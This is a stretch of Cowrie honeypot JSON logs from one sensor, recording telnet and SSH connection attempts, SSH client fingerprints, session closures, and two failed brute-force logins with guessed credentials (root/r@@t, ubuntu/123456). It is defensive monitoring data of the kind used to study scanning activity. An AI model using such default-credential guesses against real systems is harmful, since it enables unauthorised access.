{"eventid":"cowrie.session.closed","duration":31.333560705184937,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:13:20.726308Z","src_ip":"157.173.110.44","session":"5258c0b3143f","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"80.65.211.42","src_port":48654,"dst_ip":"159.203.135.109","dst_port":23,"session":"d3ee9f2afe5e","protocol":"telnet","message":"New connection: 80.65.211.42:48654 (159.203.135.109:23) [session: d3ee9f2afe5e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:13:20.894162Z"}
{"eventid":"cowrie.session.closed","duration":30.468276500701904,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:13:21.169067Z","src_ip":"157.173.110.44","session":"e9494000808b","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"154.53.41.252","src_port":47090,"dst_ip":"159.203.135.109","dst_port":23,"session":"b25f431103d4","protocol":"telnet","message":"New connection: 154.53.41.252:47090 (159.203.135.109:23) [session: b25f431103d4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:13:21.199782Z"}
{"eventid":"cowrie.session.connect","src_ip":"157.173.110.44","src_port":48994,"dst_ip":"10.17.0.5","dst_port":23,"session":"f744f9b23904","protocol":"telnet","message":"New connection: 157.173.110.44:48994 (10.17.0.5:23) [session: f744f9b23904]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:13:21.698118Z"}
{"eventid":"cowrie.session.connect","src_ip":"157.173.110.44","src_port":49008,"dst_ip":"10.17.0.5","dst_port":23,"session":"33033c7a8375","protocol":"telnet","message":"New connection: 157.173.110.44:49008 (10.17.0.5:23) [session: 33033c7a8375]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:13:21.789758Z"}
{"eventid":"cowrie.session.connect","src_ip":"157.173.110.44","src_port":56256,"dst_ip":"10.17.0.5","dst_port":23,"session":"481ad607d2f6","protocol":"telnet","message":"New connection: 157.173.110.44:56256 (10.17.0.5:23) [session: 481ad607d2f6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:13:22.912067Z"}
{"eventid":"cowrie.session.connect","src_ip":"194.59.206.2","src_port":23160,"dst_ip":"10.17.0.5","dst_port":22,"session":"76ced426a3f7","protocol":"ssh","message":"New connection: 194.59.206.2:23160 (10.17.0.5:22) [session: 76ced426a3f7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:13:23.516285Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:13:23.519889Z","src_ip":"194.59.206.2","session":"76ced426a3f7","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"e54ef3ec27fe1fea7ab64d3fa05359fd","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group1-sha1,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1;chacha20-poly1305@openssh.com,aes128-gcm@openssh.com,aes256-gcm@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr,aes128-cbc,arcfour256,arcfour128,arcfour,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-256,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group1-sha1","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com"],"encCS":["chacha20-poly1305@openssh.com","aes128-gcm@openssh.com","aes256-gcm@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr","aes128-cbc","arcfour256","arcfour128","arcfour","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-256","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: e54ef3ec27fe1fea7ab64d3fa05359fd","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:13:23.610206Z","src_ip":"194.59.206.2","session":"76ced426a3f7","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.2","message":"Connection lost after 0.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:13:23.704325Z","src_ip":"194.59.206.2","session":"76ced426a3f7","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"157.173.110.44","src_port":56260,"dst_ip":"10.17.0.5","dst_port":23,"session":"e5b0dbbe96f0","protocol":"telnet","message":"New connection: 157.173.110.44:56260 (10.17.0.5:23) [session: e5b0dbbe96f0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:13:24.118600Z"}
{"eventid":"cowrie.session.closed","duration":30.405433177947998,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:13:24.311322Z","src_ip":"157.173.110.44","session":"766387868e72","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"177.36.200.182","src_port":61658,"dst_ip":"159.203.135.109","dst_port":22,"session":"8894b4096914","protocol":"ssh","message":"New connection: 177.36.200.182:61658 (159.203.135.109:22) [session: 8894b4096914]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:13:25.380101Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Renci.SshNet.SshClient.0.0.1","message":"Remote SSH version: SSH-2.0-Renci.SshNet.SshClient.0.0.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:13:25.384450Z","src_ip":"177.36.200.182","session":"8894b4096914","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":31.337754726409912,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:13:25.454055Z","src_ip":"157.173.110.44","session":"ad43d4da9a51","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"157.173.110.44","src_port":56276,"dst_ip":"10.17.0.5","dst_port":23,"session":"3036123eae77","protocol":"telnet","message":"New connection: 157.173.110.44:56276 (10.17.0.5:23) [session: 3036123eae77]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:13:25.491382Z"}
{"eventid":"cowrie.client.kex","hassh":"748f8c627d3f8ff9921d02f86f55ba2c","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group16-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,kex-strict-c-v00@openssh.com;aes128-ctr,aes192-ctr,aes256-ctr,aes128-cbc,aes192-cbc,aes256-cbc,3des-cbc,blowfish-cbc,twofish-cbc,twofish192-cbc,twofish128-cbc,twofish256-cbc,arcfour,arcfour128,arcfour256,cast128-cbc;hmac-sha2-256,hmac-sha2-512,hmac-sha2-512-96,hmac-sha2-256-96,hmac-sha1,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-md5-96-etm@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group16-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes128-ctr","aes192-ctr","aes256-ctr","aes128-cbc","aes192-cbc","aes256-cbc","3des-cbc","blowfish-cbc","twofish-cbc","twofish192-cbc","twofish128-cbc","twofish256-cbc","arcfour","arcfour128","arcfour256","cast128-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-512","hmac-sha2-512-96","hmac-sha2-256-96","hmac-sha1","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha1-96-etm@openssh.com","hmac-md5-etm@openssh.com","hmac-md5-96-etm@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 748f8c627d3f8ff9921d02f86f55ba2c","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:13:25.784529Z","src_ip":"177.36.200.182","session":"8894b4096914","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"157.173.110.44","src_port":56292,"dst_ip":"10.17.0.5","dst_port":23,"session":"3028c8463144","protocol":"telnet","message":"New connection: 157.173.110.44:56292 (10.17.0.5:23) [session: 3028c8463144]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:13:26.600914Z"}
{"eventid":"cowrie.login.failed","username":"root","password":"r@@t","message":"login attempt [root/r@@t] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:13:26.976679Z","src_ip":"177.36.200.182","session":"8894b4096914","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":30.57014536857605,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:13:28.043278Z","src_ip":"154.53.41.252","session":"850258437d15","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"157.173.110.44","src_port":56298,"dst_ip":"10.17.0.5","dst_port":23,"session":"d5e31d2a9430","protocol":"telnet","message":"New connection: 157.173.110.44:56298 (10.17.0.5:23) [session: d5e31d2a9430]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:13:28.047947Z"}
{"eventid":"cowrie.session.connect","src_ip":"157.173.110.44","src_port":56314,"dst_ip":"10.17.0.5","dst_port":23,"session":"5feac758d0ef","protocol":"telnet","message":"New connection: 157.173.110.44:56314 (10.17.0.5:23) [session: 5feac758d0ef]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:13:28.197319Z"}
{"eventid":"cowrie.session.connect","src_ip":"157.173.110.44","src_port":56324,"dst_ip":"10.17.0.5","dst_port":23,"session":"86681a3a7f56","protocol":"telnet","message":"New connection: 157.173.110.44:56324 (10.17.0.5:23) [session: 86681a3a7f56]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:13:28.362038Z"}
{"eventid":"cowrie.session.closed","duration":"3.0","message":"Connection lost after 3.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:13:28.382521Z","src_ip":"177.36.200.182","session":"8894b4096914","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":30.848600149154663,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:13:29.143597Z","src_ip":"154.53.41.252","session":"c9283435bd59","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"157.173.110.44","src_port":56328,"dst_ip":"10.17.0.5","dst_port":23,"session":"7b13aa360b61","protocol":"telnet","message":"New connection: 157.173.110.44:56328 (10.17.0.5:23) [session: 7b13aa360b61]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:13:29.525140Z"}
{"eventid":"cowrie.session.connect","src_ip":"80.94.92.184","src_port":48090,"dst_ip":"10.17.0.5","dst_port":22,"session":"b77eb2a6d816","protocol":"ssh","message":"New connection: 80.94.92.184:48090 (10.17.0.5:22) [session: b77eb2a6d816]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:13:30.301461Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:13:30.384877Z","src_ip":"80.94.92.184","session":"b77eb2a6d816","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:13:30.566506Z","src_ip":"80.94.92.184","session":"b77eb2a6d816","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":31.311877965927124,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:13:31.105219Z","src_ip":"157.173.110.44","session":"9cc1f4826554","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"157.173.110.44","src_port":56336,"dst_ip":"10.17.0.5","dst_port":23,"session":"b675507fdb27","protocol":"telnet","message":"New connection: 157.173.110.44:56336 (10.17.0.5:23) [session: b675507fdb27]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:13:31.257317Z"}
{"eventid":"cowrie.login.failed","username":"ubuntu","password":"123456","message":"login attempt [ubuntu/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:13:31.317696Z","src_ip":"80.94.92.184","session":"b77eb2a6d816","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"157.173.110.44","src_port":49926,"dst_ip":"10.17.0.5","dst_port":23,"session":"ec538d7dec07","protocol":"telnet","message":"New connection: 157.173.110.44:49926 (10.17.0.5:23) [session: ec538d7dec07]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:13:32.259120Z"}
{"eventid":"cowrie.session.closed","duration":"2.1","message":"Connection lost after 2.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:13:32.433562Z","src_ip":"80.94.92.184","session":"b77eb2a6d816","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"157.173.110.44","src_port":49934,"dst_ip":"10.17.0.5","dst_port":23,"session":"e13259fff86b","protocol":"telnet","message":"New connection: 157.173.110.44:49934 (10.17.0.5:23) [session: e13259fff86b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:13:32.537315Z"}
{"eventid":"cowrie.session.connect","src_ip":"157.173.110.44","src_port":49938,"dst_ip":"10.17.0.5","dst_port":23,"session":"971b81983ea2","protocol":"telnet","message":"New connection: 157.173.110.44:49938 (10.17.0.5:23) [session: 971b81983ea2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:13:33.062441Z"}
{"eventid":"cowrie.session.connect","src_ip":"80.65.211.42","src_port":53392,"dst_ip":"159.203.135.109","dst_port":23,"session":"826695f5b207","protocol":"telnet","message":"New connection: 80.65.211.42:53392 (159.203.135.109:23) [session: 826695f5b207]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:13:34.384344Z"}
{"eventid":"cowrie.session.connect","src_ip":"157.173.110.44","src_port":49950,"dst_ip":"10.17.0.5","dst_port":23,"session":"da8bfbca0507","protocol":"telnet","message":"New connection: 157.173.110.44:49950 (10.17.0.5:23) [session: da8bfbca0507]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:13:34.598308Z"}
{"eventid":"cowrie.session.connect","src_ip":"157.173.110.44","src_port":49960,"dst_ip":"10.17.0.5","dst_port":23,"session":"293b675fb691","protocol":"telnet","message":"New connection: 157.173.110.44:49960 (10.17.0.5:23) [session: 293b675fb691]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:13:35.114432Z"}
{"eventid":"cowrie.session.closed","duration":30.500259160995483,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:13:37.042156Z","src_ip":"154.53.41.252","session":"0e1760eee91e","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.178054332733154,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:13:37.070335Z","src_ip":"154.53.41.252","session":"fd2ec1d9ae26","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":40.39742183685303,"message":"Connection lost after 40 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:13:39.746313Z","src_ip":"69.65.3.189","session":"da44933c4861","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.93904185295105,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:13:40.295010Z","src_ip":"157.173.110.44","session":"1c8995cee6b9","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"157.173.110.44","src_port":49974,"dst_ip":"10.17.0.5","dst_port":23,"session":"90ee89c89466","protocol":"telnet","message":"New connection: 157.173.110.44:49974 (10.17.0.5:23) [session: 90ee89c89466]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:13:41.064857Z"}
{"eventid":"cowrie.session.connect","src_ip":"80.65.211.42","src_port":53396,"dst_ip":"159.203.135.109","dst_port":23,"session":"18e990813148","protocol":"telnet","message":"New connection: 80.65.211.42:53396 (159.203.135.109:23) [session: 18e990813148]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:13:41.075634Z"}
{"eventid":"cowrie.session.closed","duration":31.065309762954712,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:13:41.180605Z","src_ip":"154.53.41.252","session":"1f833e38a4ad","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"157.173.110.44","src_port":49978,"dst_ip":"10.17.0.5","dst_port":23,"session":"563409b13c2b","protocol":"telnet","message":"New connection: 157.173.110.44:49978 (10.17.0.5:23) [session: 563409b13c2b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:13:41.294708Z"}
{"eventid":"cowrie.session.closed","duration":31.32302951812744,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:13:41.540201Z","src_ip":"157.173.110.44","session":"93c412c83da4","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.281410932540894,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:13:42.021646Z","src_ip":"154.53.41.252","session":"99113b33d5b7","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.12378978729248,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:13:42.620053Z","src_ip":"80.65.211.42","session":"fabac4718af7","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"157.173.110.44","src_port":36542,"dst_ip":"10.17.0.5","dst_port":23,"session":"08ab67b518d4","protocol":"telnet","message":"New connection: 157.173.110.44:36542 (10.17.0.5:23) [session: 08ab67b518d4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:13:42.844452Z"}
{"eventid":"cowrie.session.connect","src_ip":"157.173.110.44","src_port":36550,"dst_ip":"10.17.0.5","dst_port":23,"session":"4aac480effe9","protocol":"telnet","message":"New connection: 157.173.110.44:36550 (10.17.0.5:23) [session: 4aac480effe9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:13:43.613982Z"}
{"eventid":"cowrie.session.connect","src_ip":"157.173.110.44","src_port":36566,"dst_ip":"10.17.0.5","dst_port":23,"session":"4c8c7f397e81","protocol":"telnet","message":"New connection: 157.173.110.44:36566 (10.17.0.5:23) [session: 4c8c7f397e81]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:13:43.858096Z"}
{"eventid":"cowrie.session.closed","duration":30.98818826675415,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:13:43.971163Z","src_ip":"157.173.110.44","session":"7bde776f6340","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"157.173.110.44","src_port":36580,"dst_ip":"10.17.0.5","dst_port":23,"session":"e92478d32092","protocol":"telnet","message":"New connection: 157.173.110.44:36580 (10.17.0.5:23) [session: e92478d32092]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:13:44.483029Z"}
{"eventid":"cowrie.session.connect","src_ip":"154.53.41.252","src_port":56724,"dst_ip":"159.203.135.109","dst_port":23,"session":"7d7bd6580cfe","protocol":"telnet","message":"New connection: 154.53.41.252:56724 (159.203.135.109:23) [session: 7d7bd6580cfe]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:13:44.689393Z"}
{"eventid":"cowrie.session.connect","src_ip":"157.173.110.44","src_port":36582,"dst_ip":"10.17.0.5","dst_port":23,"session":"dc3300b4ad97","protocol":"telnet","message":"New connection: 157.173.110.44:36582 (10.17.0.5:23) [session: dc3300b4ad97]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:13:44.934659Z"}
{"eventid":"cowrie.session.connect","src_ip":"157.173.110.44","src_port":36594,"dst_ip":"10.17.0.5","dst_port":23,"session":"e9856b881e7a","protocol":"telnet","message":"New connection: 157.173.110.44:36594 (10.17.0.5:23) [session: e9856b881e7a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:13:44.956755Z"}
{"eventid":"cowrie.session.connect","src_ip":"154.53.41.252","src_port":57478,"dst_ip":"159.203.135.109","dst_port":23,"session":"9d9e5600c58a","protocol":"telnet","message":"New connection: 154.53.41.252:57478 (159.203.135.109:23) [session: 9d9e5600c58a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:13:45.202869Z"}
{"eventid":"cowrie.session.closed","duration":30.49135422706604,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:13:46.509252Z","src_ip":"157.173.110.44","session":"481088cbe6e4","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"157.173.110.44","src_port":36596,"dst_ip":"10.17.0.5","dst_port":23,"session":"5fcb12914d4d","protocol":"telnet","message":"New connection: 157.173.110.44:36596 (10.17.0.5:23) [session: 5fcb12914d4d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:13:47.220292Z"}
{"eventid":"cowrie.session.closed","duration":30.25214123725891,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:13:48.188596Z","src_ip":"157.173.110.44","session":"00be67362c8e","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"157.173.110.44","src_port":36598,"dst_ip":"10.17.0.5","dst_port":23,"session":"ec1f3fe15639","protocol":"telnet","message":"New connection: 157.173.110.44:36598 (10.17.0.5:23) [session: ec1f3fe15639]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:13:48.453572Z"}
